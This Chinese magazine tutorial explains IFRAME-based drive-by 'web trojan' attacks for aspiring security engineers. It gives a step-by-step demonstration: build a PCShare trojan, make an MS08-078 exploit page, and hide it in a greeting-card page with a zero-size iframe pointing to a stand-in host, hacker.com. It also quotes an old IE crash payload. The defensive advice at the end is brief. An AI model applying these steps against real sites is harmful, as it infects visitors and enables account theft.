木马借框架网页隐身
安全阵线
当前网络安全最大的危险是什么?很多人都会说是网页挂马。没有错!为了大规模盗号,挂马的网页在去年数以千万计的增长。普通网民知道怎么在电脑中防范网页挂马就可以了,从事和想从事与网络安全相关工作的朋友就要多掌握一些知识,知道网页挂马到底是怎么进行的,有哪几种方式。知己知彼,就会更好地维护网吧、网站等,就会增加自己的安全技能,逐渐成长为一名安全工程师。
一名优秀的安全工程师,要能独立负责网站安全、局域网安全、服务器安全等,要了解网页挂马有IFRAME框架挂马、JS文件挂马、伪装挂马、CSS挂马、ActiveX组件挂马等方式,这样才可以有针对性地进行防范,避免网站和服务器等安全威胁。下面,我们来迈出成长为安全工程师的第一步,掌握IFRAME框架挂马的底细以及相应的防范方法。
文章要点:了解黑客怎么通过IFRAME框架挂马
文章难度:★★
学习进程: √IFRAME框架挂马
XJS文件挂马
……
锐甲团队贾锐:资深安全工程师,曾经发现多个软件的漏洞。
要当安全工程师,就必须要知道网页挂马的方式,为什么这么说?这就要从头说起了。以前的病毒,主要依靠可执行文件传播的方式,那时的安全工程师,首先要掌握的就是判断文件是否带有病毒。
进入互联网时代之后,病毒开始通过电子邮件、软件漏洞、网页挂马等多种方式传播,将病毒传播的途径变得五花八门。不过在众多的传播方式中,网页挂马成了黑客的首选,因为这种方式能够让用户在不知不觉中“中招”。
而且随着各种常用软件的漏洞不断被发现,网页挂马成倍增长,传播范围也越来越广,各种盗号事件不断发生。因此,防范网页挂马也成为了网络安全工程师在维护Web服务器和网络时必须具备的基本技能。
要防范网页挂马,首先就要知道网页挂马是怎么进行了,有哪几种途径,做到知己知彼,才能百战不殆。网页挂马常常会利用各种漏洞。IE4.0浏览器曾经爆出一个漏洞,只需要在HTML文件中写入<img src=c:\con\con>HTML代码,通过IE4.0浏览器访问该网页的用户就会出现蓝屏错误(图1)。可以说这个漏洞最早掀起了国内黑客通过网页发动攻击的热潮。之后,网游和网银的兴起让纯粹整人的网页攻击变成了网页挂马。

什么是IFRAME框架挂马
网页挂马到如今已经发展出许多方法与应用手段,其中IFRAME网页框架挂马是最典型的挂马方式,也是最基本的挂马方式,可以说没有IFRAME,网页木马中有一多半就无法很好地隐藏,让用户在不察觉中受到攻击。
什么是IFRAME?IFRAME是一个非常普通的HTML语言标记,它主要用来在一个网页界面中,划分出左右或者上下的框架,就如同我们电视机的画中画效果一样。图2中的山寨搜索引擎的界面就是典型的IFRAME的引用。

但是IFRAME功能也被黑客巧妙地利用了,黑客在一些看似正常的网页中,使用长宽为0的隐藏框架,让用户在不知不觉中打开含有漏洞溢出内容的网页木马,这种手法就如同在画中画电视中打开了一个收费频道,但是由于收费频道的画面尺寸被恶意修改成了0,所以看电视的人并不知道自己已经打开了收费频道,虽然他并没有看到,但是事实上收费频道却的确在播放,而且会收取用户的使用费(图3)。

IFRAME框架挂马实战
下面我们来做个演示,看看IFRAME框架挂马到底是怎么做的。
第一步:准备一款得心应手的木马,例如PCShare,这款软件在设置上非常简单,易于操作上手。设置好相关服务,最后生成木马所用的服务控制端(图4)。

第二步:使用FTP将木马上传到自己的网站空间中,并用记事本记录下木马的网络路径。然后再用《MS08-078网页木马生成器》,生成一个带有MS08-078漏洞的恶意网页。找一个正常的新年贺卡网页,将该网页保存到自己指定的目录中,然后使用Web Designer或Dreamweaver网页编辑软件对保存的网页进行调整修改,然后上传到自己的网站空间中,看图片等内容是否能够正常显示(图5)。

第三步:再一次打开修改好的贺卡网页,使用IFRAME标记语句,将生成好的MS08-078网页嵌入到贺卡网页中,嵌入挂马代码如下:<iframe src=http://www.hacker.com/ms08078.html width=0 height=0></iframe>。
将这段代码插入到贺卡网页之中后,就完成了我们的网页挂马操作。浏览贺卡网页的用户,在看到贺卡页面之后,也随之运行了保存在指定位置“http://www.hacker.com/ms08078.html”的漏洞溢出页面,但是由于它的长和宽都为“0”,观看贺卡网站的用户不会看到溢出页面。
提示:对于IFRAME标记这种利用正常HTML语言功能实现隐藏的挂马方式,目前并没有好的防范方法,因为它是正常的网页功能。大家只能够寄希望于杀毒软件和防挂马软件阻止利用IFRAME标记内嵌的溢出病毒网页。我们建议在安装杀毒软件之后,能够安装第三方防挂马软件作为补充,例如锐甲、360等。